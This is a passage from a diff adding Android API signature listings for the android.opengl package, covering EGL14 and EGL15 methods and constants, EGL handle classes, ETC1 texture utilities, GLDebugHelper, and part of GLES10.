+    method public static String eglQueryString(android.opengl.EGLDisplay, int);
+    method public static boolean eglQuerySurface(android.opengl.EGLDisplay, android.opengl.EGLSurface, int, int[], int);
+    method public static boolean eglReleaseTexImage(android.opengl.EGLDisplay, android.opengl.EGLSurface, int);
+    method public static boolean eglReleaseThread();
+    method public static boolean eglSurfaceAttrib(android.opengl.EGLDisplay, android.opengl.EGLSurface, int, int);
+    method public static boolean eglSwapBuffers(android.opengl.EGLDisplay, android.opengl.EGLSurface);
+    method public static boolean eglSwapInterval(android.opengl.EGLDisplay, int);
+    method public static boolean eglTerminate(android.opengl.EGLDisplay);
+    method public static boolean eglWaitClient();
+    method public static boolean eglWaitGL();
+    method public static boolean eglWaitNative(int);
+    field public static final int EGL_ALPHA_MASK_SIZE = 12350; // 0x303e
+    field public static final int EGL_ALPHA_SIZE = 12321; // 0x3021
+    field public static final int EGL_BACK_BUFFER = 12420; // 0x3084
+    field public static final int EGL_BAD_ACCESS = 12290; // 0x3002
+    field public static final int EGL_BAD_ALLOC = 12291; // 0x3003
+    field public static final int EGL_BAD_ATTRIBUTE = 12292; // 0x3004
+    field public static final int EGL_BAD_CONFIG = 12293; // 0x3005
+    field public static final int EGL_BAD_CONTEXT = 12294; // 0x3006
+    field public static final int EGL_BAD_CURRENT_SURFACE = 12295; // 0x3007
+    field public static final int EGL_BAD_DISPLAY = 12296; // 0x3008
+    field public static final int EGL_BAD_MATCH = 12297; // 0x3009
+    field public static final int EGL_BAD_NATIVE_PIXMAP = 12298; // 0x300a
+    field public static final int EGL_BAD_NATIVE_WINDOW = 12299; // 0x300b
+    field public static final int EGL_BAD_PARAMETER = 12300; // 0x300c
+    field public static final int EGL_BAD_SURFACE = 12301; // 0x300d
+    field public static final int EGL_BIND_TO_TEXTURE_RGB = 12345; // 0x3039
+    field public static final int EGL_BIND_TO_TEXTURE_RGBA = 12346; // 0x303a
+    field public static final int EGL_BLUE_SIZE = 12322; // 0x3022
+    field public static final int EGL_BUFFER_DESTROYED = 12437; // 0x3095
+    field public static final int EGL_BUFFER_PRESERVED = 12436; // 0x3094
+    field public static final int EGL_BUFFER_SIZE = 12320; // 0x3020
+    field public static final int EGL_CLIENT_APIS = 12429; // 0x308d
+    field public static final int EGL_COLOR_BUFFER_TYPE = 12351; // 0x303f
+    field public static final int EGL_CONFIG_CAVEAT = 12327; // 0x3027
+    field public static final int EGL_CONFIG_ID = 12328; // 0x3028
+    field public static final int EGL_CONFORMANT = 12354; // 0x3042
+    field public static final int EGL_CONTEXT_CLIENT_TYPE = 12439; // 0x3097
+    field public static final int EGL_CONTEXT_CLIENT_VERSION = 12440; // 0x3098
+    field public static final int EGL_CONTEXT_LOST = 12302; // 0x300e
+    field public static final int EGL_CORE_NATIVE_ENGINE = 12379; // 0x305b
+    field public static final int EGL_DEFAULT_DISPLAY = 0; // 0x0
+    field public static final int EGL_DEPTH_SIZE = 12325; // 0x3025
+    field public static final int EGL_DISPLAY_SCALING = 10000; // 0x2710
+    field public static final int EGL_DRAW = 12377; // 0x3059
+    field public static final int EGL_EXTENSIONS = 12373; // 0x3055
+    field public static final int EGL_FALSE = 0; // 0x0
+    field public static final int EGL_GREEN_SIZE = 12323; // 0x3023
+    field public static final int EGL_HEIGHT = 12374; // 0x3056
+    field public static final int EGL_HORIZONTAL_RESOLUTION = 12432; // 0x3090
+    field public static final int EGL_LARGEST_PBUFFER = 12376; // 0x3058
+    field public static final int EGL_LEVEL = 12329; // 0x3029
+    field public static final int EGL_LUMINANCE_BUFFER = 12431; // 0x308f
+    field public static final int EGL_LUMINANCE_SIZE = 12349; // 0x303d
+    field public static final int EGL_MATCH_NATIVE_PIXMAP = 12353; // 0x3041
+    field public static final int EGL_MAX_PBUFFER_HEIGHT = 12330; // 0x302a
+    field public static final int EGL_MAX_PBUFFER_PIXELS = 12331; // 0x302b
+    field public static final int EGL_MAX_PBUFFER_WIDTH = 12332; // 0x302c
+    field public static final int EGL_MAX_SWAP_INTERVAL = 12348; // 0x303c
+    field public static final int EGL_MIN_SWAP_INTERVAL = 12347; // 0x303b
+    field public static final int EGL_MIPMAP_LEVEL = 12419; // 0x3083
+    field public static final int EGL_MIPMAP_TEXTURE = 12418; // 0x3082
+    field public static final int EGL_MULTISAMPLE_RESOLVE = 12441; // 0x3099
+    field public static final int EGL_MULTISAMPLE_RESOLVE_BOX = 12443; // 0x309b
+    field public static final int EGL_MULTISAMPLE_RESOLVE_BOX_BIT = 512; // 0x200
+    field public static final int EGL_MULTISAMPLE_RESOLVE_DEFAULT = 12442; // 0x309a
+    field public static final int EGL_NATIVE_RENDERABLE = 12333; // 0x302d
+    field public static final int EGL_NATIVE_VISUAL_ID = 12334; // 0x302e
+    field public static final int EGL_NATIVE_VISUAL_TYPE = 12335; // 0x302f
+    field public static final int EGL_NONE = 12344; // 0x3038
+    field public static final int EGL_NON_CONFORMANT_CONFIG = 12369; // 0x3051
+    field public static final int EGL_NOT_INITIALIZED = 12289; // 0x3001
+    field public static android.opengl.EGLContext EGL_NO_CONTEXT;
+    field public static android.opengl.EGLDisplay EGL_NO_DISPLAY;
+    field public static android.opengl.EGLSurface EGL_NO_SURFACE;
+    field public static final int EGL_NO_TEXTURE = 12380; // 0x305c
+    field public static final int EGL_OPENGL_API = 12450; // 0x30a2
+    field public static final int EGL_OPENGL_BIT = 8; // 0x8
+    field public static final int EGL_OPENGL_ES2_BIT = 4; // 0x4
+    field public static final int EGL_OPENGL_ES_API = 12448; // 0x30a0
+    field public static final int EGL_OPENGL_ES_BIT = 1; // 0x1
+    field public static final int EGL_OPENVG_API = 12449; // 0x30a1
+    field public static final int EGL_OPENVG_BIT = 2; // 0x2
+    field public static final int EGL_OPENVG_IMAGE = 12438; // 0x3096
+    field public static final int EGL_PBUFFER_BIT = 1; // 0x1
+    field public static final int EGL_PIXEL_ASPECT_RATIO = 12434; // 0x3092
+    field public static final int EGL_PIXMAP_BIT = 2; // 0x2
+    field public static final int EGL_READ = 12378; // 0x305a
+    field public static final int EGL_RED_SIZE = 12324; // 0x3024
+    field public static final int EGL_RENDERABLE_TYPE = 12352; // 0x3040
+    field public static final int EGL_RENDER_BUFFER = 12422; // 0x3086
+    field public static final int EGL_RGB_BUFFER = 12430; // 0x308e
+    field public static final int EGL_SAMPLES = 12337; // 0x3031
+    field public static final int EGL_SAMPLE_BUFFERS = 12338; // 0x3032
+    field public static final int EGL_SINGLE_BUFFER = 12421; // 0x3085
+    field public static final int EGL_SLOW_CONFIG = 12368; // 0x3050
+    field public static final int EGL_STENCIL_SIZE = 12326; // 0x3026
+    field public static final int EGL_SUCCESS = 12288; // 0x3000
+    field public static final int EGL_SURFACE_TYPE = 12339; // 0x3033
+    field public static final int EGL_SWAP_BEHAVIOR = 12435; // 0x3093
+    field public static final int EGL_SWAP_BEHAVIOR_PRESERVED_BIT = 1024; // 0x400
+    field public static final int EGL_TEXTURE_2D = 12383; // 0x305f
+    field public static final int EGL_TEXTURE_FORMAT = 12416; // 0x3080
+    field public static final int EGL_TEXTURE_RGB = 12381; // 0x305d
+    field public static final int EGL_TEXTURE_RGBA = 12382; // 0x305e
+    field public static final int EGL_TEXTURE_TARGET = 12417; // 0x3081
+    field public static final int EGL_TRANSPARENT_BLUE_VALUE = 12341; // 0x3035
+    field public static final int EGL_TRANSPARENT_GREEN_VALUE = 12342; // 0x3036
+    field public static final int EGL_TRANSPARENT_RED_VALUE = 12343; // 0x3037
+    field public static final int EGL_TRANSPARENT_RGB = 12370; // 0x3052
+    field public static final int EGL_TRANSPARENT_TYPE = 12340; // 0x3034
+    field public static final int EGL_TRUE = 1; // 0x1
+    field public static final int EGL_VENDOR = 12371; // 0x3053
+    field public static final int EGL_VERSION = 12372; // 0x3054
+    field public static final int EGL_VERTICAL_RESOLUTION = 12433; // 0x3091
+    field public static final int EGL_VG_ALPHA_FORMAT = 12424; // 0x3088
+    field public static final int EGL_VG_ALPHA_FORMAT_NONPRE = 12427; // 0x308b
+    field public static final int EGL_VG_ALPHA_FORMAT_PRE = 12428; // 0x308c
+    field public static final int EGL_VG_ALPHA_FORMAT_PRE_BIT = 64; // 0x40
+    field public static final int EGL_VG_COLORSPACE = 12423; // 0x3087
+    field public static final int EGL_VG_COLORSPACE_LINEAR = 12426; // 0x308a
+    field public static final int EGL_VG_COLORSPACE_LINEAR_BIT = 32; // 0x20
+    field public static final int EGL_VG_COLORSPACE_sRGB = 12425; // 0x3089
+    field public static final int EGL_WIDTH = 12375; // 0x3057
+    field public static final int EGL_WINDOW_BIT = 4; // 0x4
+  }
+
+  public final class EGL15 {
+    method public static int eglClientWaitSync(android.opengl.EGLDisplay, android.opengl.EGLSync, int, long);
+    method public static android.opengl.EGLImage eglCreateImage(android.opengl.EGLDisplay, android.opengl.EGLContext, int, long, long[], int);
+    method public static android.opengl.EGLSurface eglCreatePlatformPixmapSurface(android.opengl.EGLDisplay, android.opengl.EGLConfig, java.nio.Buffer, long[], int);
+    method public static android.opengl.EGLSurface eglCreatePlatformWindowSurface(android.opengl.EGLDisplay, android.opengl.EGLConfig, java.nio.Buffer, long[], int);
+    method public static android.opengl.EGLSync eglCreateSync(android.opengl.EGLDisplay, int, long[], int);
+    method public static boolean eglDestroyImage(android.opengl.EGLDisplay, android.opengl.EGLImage);
+    method public static boolean eglDestroySync(android.opengl.EGLDisplay, android.opengl.EGLSync);
+    method public static android.opengl.EGLDisplay eglGetPlatformDisplay(int, long, long[], int);
+    method public static boolean eglGetSyncAttrib(android.opengl.EGLDisplay, android.opengl.EGLSync, int, long[], int);
+    method public static boolean eglWaitSync(android.opengl.EGLDisplay, android.opengl.EGLSync, int);
+    field public static final int EGL_CL_EVENT_HANDLE = 12444; // 0x309c
+    field public static final int EGL_CONDITION_SATISFIED = 12534; // 0x30f6
+    field public static final int EGL_CONTEXT_MAJOR_VERSION = 12440; // 0x3098
+    field public static final int EGL_CONTEXT_MINOR_VERSION = 12539; // 0x30fb
+    field public static final int EGL_CONTEXT_OPENGL_COMPATIBILITY_PROFILE_BIT = 2; // 0x2
+    field public static final int EGL_CONTEXT_OPENGL_CORE_PROFILE_BIT = 1; // 0x1
+    field public static final int EGL_CONTEXT_OPENGL_DEBUG = 12720; // 0x31b0
+    field public static final int EGL_CONTEXT_OPENGL_FORWARD_COMPATIBLE = 12721; // 0x31b1
+    field public static final int EGL_CONTEXT_OPENGL_PROFILE_MASK = 12541; // 0x30fd
+    field public static final int EGL_CONTEXT_OPENGL_RESET_NOTIFICATION_STRATEGY = 12733; // 0x31bd
+    field public static final int EGL_CONTEXT_OPENGL_ROBUST_ACCESS = 12722; // 0x31b2
+    field public static final long EGL_FOREVER = -1L; // 0xffffffffffffffffL
+    field public static final int EGL_GL_COLORSPACE = 12445; // 0x309d
+    field public static final int EGL_GL_COLORSPACE_LINEAR = 12426; // 0x308a
+    field public static final int EGL_GL_COLORSPACE_SRGB = 12425; // 0x3089
+    field public static final int EGL_GL_RENDERBUFFER = 12473; // 0x30b9
+    field public static final int EGL_GL_TEXTURE_2D = 12465; // 0x30b1
+    field public static final int EGL_GL_TEXTURE_3D = 12466; // 0x30b2
+    field public static final int EGL_GL_TEXTURE_CUBE_MAP_NEGATIVE_X = 12468; // 0x30b4
+    field public static final int EGL_GL_TEXTURE_CUBE_MAP_NEGATIVE_Y = 12470; // 0x30b6
+    field public static final int EGL_GL_TEXTURE_CUBE_MAP_NEGATIVE_Z = 12472; // 0x30b8
+    field public static final int EGL_GL_TEXTURE_CUBE_MAP_POSITIVE_X = 12467; // 0x30b3
+    field public static final int EGL_GL_TEXTURE_CUBE_MAP_POSITIVE_Y = 12469; // 0x30b5
+    field public static final int EGL_GL_TEXTURE_CUBE_MAP_POSITIVE_Z = 12471; // 0x30b7
+    field public static final int EGL_GL_TEXTURE_LEVEL = 12476; // 0x30bc
+    field public static final int EGL_GL_TEXTURE_ZOFFSET = 12477; // 0x30bd
+    field public static final int EGL_IMAGE_PRESERVED = 12498; // 0x30d2
+    field public static final int EGL_LOSE_CONTEXT_ON_RESET = 12735; // 0x31bf
+    field public static final android.opengl.EGLContext EGL_NO_CONTEXT;
+    field public static final android.opengl.EGLDisplay EGL_NO_DISPLAY;
+    field public static final android.opengl.EGLImage EGL_NO_IMAGE;
+    field public static final int EGL_NO_RESET_NOTIFICATION = 12734; // 0x31be
+    field public static final android.opengl.EGLSurface EGL_NO_SURFACE;
+    field public static final android.opengl.EGLSync EGL_NO_SYNC;
+    field public static final int EGL_OPENGL_ES3_BIT = 64; // 0x40
+    field public static final int EGL_PLATFORM_ANDROID_KHR = 12609; // 0x3141
+    field public static final int EGL_SIGNALED = 12530; // 0x30f2
+    field public static final int EGL_SYNC_CL_EVENT = 12542; // 0x30fe
+    field public static final int EGL_SYNC_CL_EVENT_COMPLETE = 12543; // 0x30ff
+    field public static final int EGL_SYNC_CONDITION = 12536; // 0x30f8
+    field public static final int EGL_SYNC_FENCE = 12537; // 0x30f9
+    field public static final int EGL_SYNC_FLUSH_COMMANDS_BIT = 1; // 0x1
+    field public static final int EGL_SYNC_PRIOR_COMMANDS_COMPLETE = 12528; // 0x30f0
+    field public static final int EGL_SYNC_STATUS = 12529; // 0x30f1
+    field public static final int EGL_SYNC_TYPE = 12535; // 0x30f7
+    field public static final int EGL_TIMEOUT_EXPIRED = 12533; // 0x30f5
+    field public static final int EGL_UNSIGNALED = 12531; // 0x30f3
+  }
+
+  public class EGLConfig extends android.opengl.EGLObjectHandle {
+  }
+
+  public class EGLContext extends android.opengl.EGLObjectHandle {
+  }
+
+  public class EGLDisplay extends android.opengl.EGLObjectHandle {
+  }
+
+  public class EGLExt {
+    ctor public EGLExt();
+    method public static boolean eglPresentationTimeANDROID(android.opengl.EGLDisplay, android.opengl.EGLSurface, long);
+    field public static final int EGL_CONTEXT_FLAGS_KHR = 12540; // 0x30fc
+    field public static final int EGL_CONTEXT_MAJOR_VERSION_KHR = 12440; // 0x3098
+    field public static final int EGL_CONTEXT_MINOR_VERSION_KHR = 12539; // 0x30fb
+    field public static final int EGL_OPENGL_ES3_BIT_KHR = 64; // 0x40
+    field public static final int EGL_RECORDABLE_ANDROID = 12610; // 0x3142
+  }
+
+  public class EGLImage extends android.opengl.EGLObjectHandle {
+  }
+
+  public abstract class EGLObjectHandle {
+    ctor @Deprecated protected EGLObjectHandle(int);
+    ctor protected EGLObjectHandle(long);
+    method @Deprecated public int getHandle();
+    method public long getNativeHandle();
+  }
+
+  public class EGLSurface extends android.opengl.EGLObjectHandle {
+  }
+
+  public class EGLSync extends android.opengl.EGLObjectHandle {
+  }
+
+  public class ETC1 {
+    ctor public ETC1();
+    method public static void decodeBlock(java.nio.Buffer, java.nio.Buffer);
+    method public static void decodeImage(java.nio.Buffer, java.nio.Buffer, int, int, int, int);
+    method public static void encodeBlock(java.nio.Buffer, int, java.nio.Buffer);
+    method public static void encodeImage(java.nio.Buffer, int, int, int, int, java.nio.Buffer);
+    method public static void formatHeader(java.nio.Buffer, int, int);
+    method public static int getEncodedDataSize(int, int);
+    method public static int getHeight(java.nio.Buffer);
+    method public static int getWidth(java.nio.Buffer);
+    method public static boolean isValid(java.nio.Buffer);
+    field public static final int DECODED_BLOCK_SIZE = 48; // 0x30
+    field public static final int ENCODED_BLOCK_SIZE = 8; // 0x8
+    field public static final int ETC1_RGB8_OES = 36196; // 0x8d64
+    field public static final int ETC_PKM_HEADER_SIZE = 16; // 0x10
+  }
+
+  public class ETC1Util {
+    ctor public ETC1Util();
+    method public static android.opengl.ETC1Util.ETC1Texture compressTexture(java.nio.Buffer, int, int, int, int);
+    method public static android.opengl.ETC1Util.ETC1Texture createTexture(java.io.InputStream) throws java.io.IOException;
+    method public static boolean isETC1Supported();
+    method public static void loadTexture(int, int, int, int, int, java.io.InputStream) throws java.io.IOException;
+    method public static void loadTexture(int, int, int, int, int, android.opengl.ETC1Util.ETC1Texture);
+    method public static void writeTexture(android.opengl.ETC1Util.ETC1Texture, java.io.OutputStream) throws java.io.IOException;
+  }
+
+  public static class ETC1Util.ETC1Texture {
+    ctor public ETC1Util.ETC1Texture(int, int, java.nio.ByteBuffer);
+    method public java.nio.ByteBuffer getData();
+    method public int getHeight();
+    method public int getWidth();
+  }
+
+  public class GLDebugHelper {
+    ctor public GLDebugHelper();
+    method public static javax.microedition.khronos.opengles.GL wrap(javax.microedition.khronos.opengles.GL, int, java.io.Writer);
+    method public static javax.microedition.khronos.egl.EGL wrap(javax.microedition.khronos.egl.EGL, int, java.io.Writer);
+    field public static final int CONFIG_CHECK_GL_ERROR = 1; // 0x1
+    field public static final int CONFIG_CHECK_THREAD = 2; // 0x2
+    field public static final int CONFIG_LOG_ARGUMENT_NAMES = 4; // 0x4
+    field public static final int ERROR_WRONG_THREAD = 28672; // 0x7000
+  }
+
+  public class GLES10 {
+    ctor public GLES10();
+    method public static void glActiveTexture(int);
+    method public static void glAlphaFunc(int, float);
+    method public static void glAlphaFuncx(int, int);
+    method public static void glBindTexture(int, int);
+    method public static void glBlendFunc(int, int);
+    method public static void glClear(int);
+    method public static void glClearColor(float, float, float, float);
+    method public static void glClearColorx(int, int, int, int);
+    method public static void glClearDepthf(float);
+    method public static void glClearDepthx(int);
+    method public static void glClearStencil(int);
+    method public static void glClientActiveTexture(int);
+    method public static void glColor4f(float, float, float, float);
+    method public static void glColor4x(int, int, int, int);
+    method public static void glColorMask(boolean, boolean, boolean, boolean);
+    method public static void glColorPointer(int, int, int, java.nio.Buffer);
+    method public static void glCompressedTexImage2D(int, int, int, int, int, int, int, java.nio.Buffer);
+    method public static void glCompressedTexSubImage2D(int, int, int, int, int, int, int, int, java.nio.Buffer);
+    method public static void glCopyTexImage2D(int, int, int, int, int, int, int, int);
+    method public static void glCopyTexSubImage2D(int, int, int, int, int, int, int, int);
+    method public static void glCullFace(int);
+    method public static void glDeleteTextures(int, int[], int);
+    method public static void glDeleteTextures(int, java.nio.IntBuffer);
+    method public static void glDepthFunc(int);
+    method public static void glDepthMask(boolean);
+    method public static void glDepthRangef(float, float);
+    method public static void glDepthRangex(int, int);
+    method public static void glDisable(int);
+    method public static void glDisableClientState(int);
+    method public static void glDrawArrays(int, int, int);
+    method public static void glDrawElements(int, int, int, java.nio.Buffer);
+    method public static void glEnable(int);
+    method public static void glEnableClientState(int);
+    method public static void glFinish();
+    method public static void glFlush();
+    method public static void glFogf(int, float);
+    method public static void glFogfv(int, float[], int);
+    method public static void glFogfv(int, java.nio.FloatBuffer);
+    method public static void glFogx(int, int);
+    method public static void glFogxv(int, int[], int);
+    method public static void glFogxv(int, java.nio.IntBuffer);
+    method public static void glFrontFace(int);
+    method public static void glFrustumf(float, float, float, float, float, float);
+    method public static void glFrustumx(int, int, int, int, int, int);
+    method public static void glGenTextures(int, int[], int);
+    method public static void glGenTextures(int, java.nio.IntBuffer);
+    method public static int glGetError();
+    method public static void glGetIntegerv(int, int[], int);
+    method public static void glGetIntegerv(int, java.nio.IntBuffer);
+    method public static String glGetString(int);
+    method public static void glHint(int, int);
+    method public static void glLightModelf(int, float);
+    method public static void glLightModelfv(int, float[], int);
+    method public static void glLightModelfv(int, java.nio.FloatBuffer);
+    method public static void glLightModelx(int, int);
+    method public static void glLightModelxv(int, int[], int);
+    method public static void glLightModelxv(int, java.nio.IntBuffer);
+    method public static void glLightf(int, int, float);
+    method public static void glLightfv(int, int, float[], int);
+    method public static void glLightfv(int, int, java.nio.FloatBuffer);
+    method public static void glLightx(int, int, int);
+    method public static void glLightxv(int, int, int[], int);
+    method public static void glLightxv(int, int, java.nio.IntBuffer);
+    method public static void glLineWidth(float);
+    method public static void glLineWidthx(int);
+    method public static void glLoadIdentity();
+    method public static void glLoadMatrixf(float[], int);
+    method public static void glLoadMatrixf(java.nio.FloatBuffer);
+    method public static void glLoadMatrixx(int[], int);
+    method public static void glLoadMatrixx(java.nio.IntBuffer);
+    method public static void glLogicOp(int);
+    method public static void glMaterialf(int, int, float);
+    method public static void glMaterialfv(int, int, float[], int);
+    method public static void glMaterialfv(int, int, java.nio.FloatBuffer);
+    method public static void glMaterialx(int, int, int);
+    method public static void glMaterialxv(int, int, int[], int);
+    method public static void glMaterialxv(int, int, java.nio.IntBuffer);
+    method public static void glMatrixMode(int);
+    method public static void glMultMatrixf(float[], int);
+    method public static void glMultMatrixf(java.nio.FloatBuffer);
+    method public static void glMultMatrixx(int[], int);
+    method public static void glMultMatrixx(java.nio.IntBuffer);
+    method public static void glMultiTexCoord4f(int, float, float, float, float);
+    method public static void glMultiTexCoord4x(int, int, int, int, int);
+    method public static void glNormal3f(float, float, float);
+    method public static void glNormal3x(int, int, int);
+    method public static void glNormalPointer(int, int, java.nio.Buffer);
+    method public static void glOrthof(float, float, float, float, float, float);
+    method public static void glOrthox(int, int, int, int, int, int);
+    method public static void glPixelStorei(int, int);
+    method public static void glPointSize(float);
+    method public static void glPointSizex(int);
+    method public static void glPolygonOffset(float, float);
+    method public static void glPolygonOffsetx(int, int);
+    method public static void glPopMatrix();
+    method public static void glPushMatrix();
+    method public static void glReadPixels(int, int, int, int, int, int, java.nio.Buffer);
+    method public static void glRotatef(float, float, float, float);
+    method public static void glRotatex(int, int, int, int);
+    method public static void glSampleCoverage(float, boolean);
+    method public static void glSampleCoveragex(int, boolean);
+    method public static void glScalef(float, float, float);
+    method public static void glScalex(int, int, int);
+    method public static void glScissor(int, int, int, int);
+    method public static void glShadeModel(int);
+    method public static void glStencilFunc(int, int, int);
+    method public static void glStencilMask(int);
+    method public static void glStencilOp(int, int, int);
+    method public static void glTexCoordPointer(int, int, int, java.nio.Buffer);
+    method public static void glTexEnvf(int, int, float);
+    method public static void glTexEnvfv(int, int, float[], int);
+    method public static void glTexEnvfv(int, int, java.nio.FloatBuffer);
+    method public static void glTexEnvx(int, int, int);
+    method public static void glTexEnvxv(int, int, int[], int);
+    method public static void glTexEnvxv(int, int, java.nio.IntBuffer);
+    method public static void glTexImage2D(int, int, int, int, int, int, int, int, java.nio.Buffer);
+    method public static void glTexParameterf(int, int, float);
+    method public static void glTexParameterx(int, int, int);
+    method public static void glTexSubImage2D(int, int, int, int, int, int, int, int, java.nio.Buffer);
+    method public static void glTranslatef(float, float, float);
+    method public static void glTranslatex(int, int, int);
+    method public static void glVertexPointer(int, int, int, java.nio.Buffer);
+    method public static void glViewport(int, int, int, int);
+    field public static final int GL_ADD = 260; // 0x104
+    field public static final int GL_ALIASED_LINE_WIDTH_RANGE = 33902; // 0x846e
+    field public static final int GL_ALIASED_POINT_SIZE_RANGE = 33901; // 0x846d
+    field public static final int GL_ALPHA = 6406; // 0x1906
+    field public static final int GL_ALPHA_BITS = 3413; // 0xd55
+    field public static final int GL_ALPHA_TEST = 3008; // 0xbc0
+    field public static final int GL_ALWAYS = 519; // 0x207
+    field public static final int GL_AMBIENT = 4608; // 0x1200
+    field public static final int GL_AMBIENT_AND_DIFFUSE = 5634; // 0x1602
+    field public static final int GL_AND = 5377; // 0x1501
+    field public static final int GL_AND_INVERTED = 5380; // 0x1504
+    field public static final int GL_AND_REVERSE = 5378; // 0x1502
+    field public static final int GL_BACK = 1029; // 0x405
+    field public static final int GL_BLEND = 3042; // 0xbe2
+    field public static final int GL_BLUE_BITS = 3412; // 0xd54
+    field public static final int GL_BYTE = 5120; // 0x1400
+    field public static final int GL_CCW = 2305; // 0x901
+    field public static final int GL_CLAMP_TO_EDGE = 33071; // 0x812f
+    field public static final int GL_CLEAR = 5376; // 0x1500
+    field public static final int GL_COLOR_ARRAY = 32886; // 0x8076
+    field public static final int GL_COLOR_BUFFER_BIT = 16384; // 0x4000
+    field public static final int GL_COLOR_LOGIC_OP = 3058; // 0xbf2
+    field public static final int GL_COLOR_MATERIAL = 2903; // 0xb57
+    field public static final int GL_COMPRESSED_TEXTURE_FORMATS = 34467; // 0x86a3
+    field public static final int GL_CONSTANT_ATTENUATION = 4615; // 0x1207
+    field public static final int GL_COPY = 5379; // 0x1503
+    field public static final int GL_COPY_INVERTED = 5388; // 0x150c
+    field public static final int GL_CULL_FACE = 2884; // 0xb44
+    field public static final int GL_CW = 2304; // 0x900
+    field public static final int GL_DECAL = 8449; // 0x2101
+    field public static final int GL_DECR = 7683; // 0x1e03
+    field public static final int GL_DEPTH_BITS = 3414; // 0xd56
+    field public static final int GL_DEPTH_BUFFER_BIT = 256; // 0x100
+    field public static final int GL_DEPTH_TEST = 2929; // 0xb71
+    field public static final int GL_DIFFUSE = 4609; // 0x1201
+    field public static final int GL_DITHER = 3024; // 0xbd0
+    field public static final int GL_DONT_CARE = 4352; // 0x1100
+    field public static final int GL_DST_ALPHA = 772; // 0x304
+    field public static final int GL_DST_COLOR = 774; // 0x306
+    field public static final int GL_EMISSION = 5632; // 0x1600
+    field public static final int GL_EQUAL = 514; // 0x202
+    field public static final int GL_EQUIV = 5385; // 0x1509
+    field public static final int GL_EXP = 2048; // 0x800
+    field public static final int GL_EXP2 = 2049; // 0x801
+    field public static final int GL_EXTENSIONS = 7939; // 0x1f03
+    field public static final int GL_FALSE = 0; // 0x0
+    field public static final int GL_FASTEST = 4353; // 0x1101
+    field public static final int GL_FIXED = 5132; // 0x140c
+    field public static final int GL_FLAT = 7424; // 0x1d00
+    field public static final int GL_FLOAT = 5126; // 0x1406
+    field public static final int GL_FOG = 2912; // 0xb60
+    field public static final int GL_FOG_COLOR = 2918; // 0xb66
+    field public static final int GL_FOG_DENSITY = 2914; // 0xb62
+    field public static final int GL_FOG_END = 2916; // 0xb64
+    field public static final int GL_FOG_HINT = 3156; // 0xc54
+    field public static final int GL_FOG_MODE = 2917; // 0xb65
+    field public static final int GL_FOG_START = 2915; // 0xb63
+    field public static final int GL_FRONT = 1028; // 0x404
+    field public static final int GL_FRONT_AND_BACK = 1032; // 0x408
+    field public static final int GL_GEQUAL = 518; // 0x206
+    field public static final int GL_GREATER = 516; // 0x204
+    field public static final int GL_GREEN_BITS = 3411; // 0xd53
+    field public static final int GL_IMPLEMENTATION_COLOR_READ_FORMAT_OES = 35739; // 0x8b9b
+    field public static final int GL_IMPLEMENTATION_COLOR_READ_TYPE_OES = 35738; // 0x8b9a
+    field public static final int GL_INCR = 7682; // 0x1e02
+    field public static final int GL_INVALID_ENUM = 1280; // 0x500
+    field public static final int GL_INVALID_OPERATION = 1282; // 0x502
+    field public static final int GL_INVALID_VALUE = 1281; // 0x501
+    field public static final int GL_INVERT = 5386; // 0x150a
+    field public static final int GL_KEEP = 7680; // 0x1e00
+    field public static final int GL_LEQUAL = 515; // 0x203
+    field public static final int GL_LESS = 513; // 0x201
+    field public static final int GL_LIGHT0 = 16384; // 0x4000
+    field public static final int GL_LIGHT1 = 16385; // 0x4001
+    field public static final int GL_LIGHT2 = 16386; // 0x4002
+    field public static final int GL_LIGHT3 = 16387; // 0x4003
+    field public static final int GL_LIGHT4 = 16388; // 0x4004
+    field public static final int GL_LIGHT5 = 16389; // 0x4005
+    field public static final int GL_LIGHT6 = 16390; // 0x4006
+    field public static final int GL_LIGHT7 = 16391; // 0x4007
+    field public static final int GL_LIGHTING = 2896; // 0xb50
+    field public static final int GL_LIGHT_MODEL_AMBIENT = 2899; // 0xb53
+    field public static final int GL_LIGHT_MODEL_TWO_SIDE = 2898; // 0xb52
+    field public static final int GL_LINEAR = 9729; // 0x2601
+    field public static final int GL_LINEAR_ATTENUATION = 4616; // 0x1208
+    field public static final int GL_LINEAR_MIPMAP_LINEAR = 9987; // 0x2703
+    field public static final int GL_LINEAR_MIPMAP_NEAREST = 9985; // 0x2701
+    field public static final int GL_LINES = 1; // 0x1
+    field public static final int GL_LINE_LOOP = 2; // 0x2
+    field public static final int GL_LINE_SMOOTH = 2848; // 0xb20
+    field public static final int GL_LINE_SMOOTH_HINT = 3154; // 0xc52
+    field public static final int GL_LINE_STRIP = 3; // 0x3
+    field public static final int GL_LUMINANCE = 6409; // 0x1909
+    field public static final int GL_LUMINANCE_ALPHA = 6410; // 0x190a
+    field public static final int GL_MAX_ELEMENTS_INDICES = 33001; // 0x80e9
+    field public static final int GL_MAX_ELEMENTS_VERTICES = 33000; // 0x80e8
+    field public static final int GL_MAX_LIGHTS = 3377; // 0xd31
+    field public static final int GL_MAX_MODELVIEW_STACK_DEPTH = 3382; // 0xd36
+    field public static final int GL_MAX_PROJECTION_STACK_DEPTH = 3384; // 0xd38
+    field public static final int GL_MAX_TEXTURE_SIZE = 3379; // 0xd33
+    field public static final int GL_MAX_TEXTURE_STACK_DEPTH = 3385; // 0xd39
+    field public static final int GL_MAX_TEXTURE_UNITS = 34018; // 0x84e2
+    field public static final int GL_MAX_VIEWPORT_DIMS = 3386; // 0xd3a
+    field public static final int GL_MODELVIEW = 5888; // 0x1700
+    field public static final int GL_MODULATE = 8448; // 0x2100
+    field public static final int GL_MULTISAMPLE = 32925; // 0x809d
+    field public static final int GL_NAND = 5390; // 0x150e
+    field public static final int GL_NEAREST = 9728; // 0x2600
+    field public static final int GL_NEAREST_MIPMAP_LINEAR = 9986; // 0x2702
+    field public static final int GL_NEAREST_MIPMAP_NEAREST = 9984; // 0x2700
+    field public static final int GL_NEVER = 512; // 0x200
+    field public static final int GL_NICEST = 4354; // 0x1102
+    field public static final int GL_NOOP = 5381; // 0x1505
+    field public static final int GL_NOR = 5384; // 0x1508
+    field public static final int GL_NORMALIZE = 2977; // 0xba1
+    field public static final int GL_NORMAL_ARRAY = 32885; // 0x8075
+    field public static final int GL_NOTEQUAL = 517; // 0x205
+    field public static final int GL_NO_ERROR = 0; // 0x0
+    field public static final int GL_NUM_COMPRESSED_TEXTURE_FORMATS = 34466; // 0x86a2
+    field public static final int GL_ONE = 1; // 0x1
+    field public static final int GL_ONE_MINUS_DST_ALPHA = 773; // 0x305
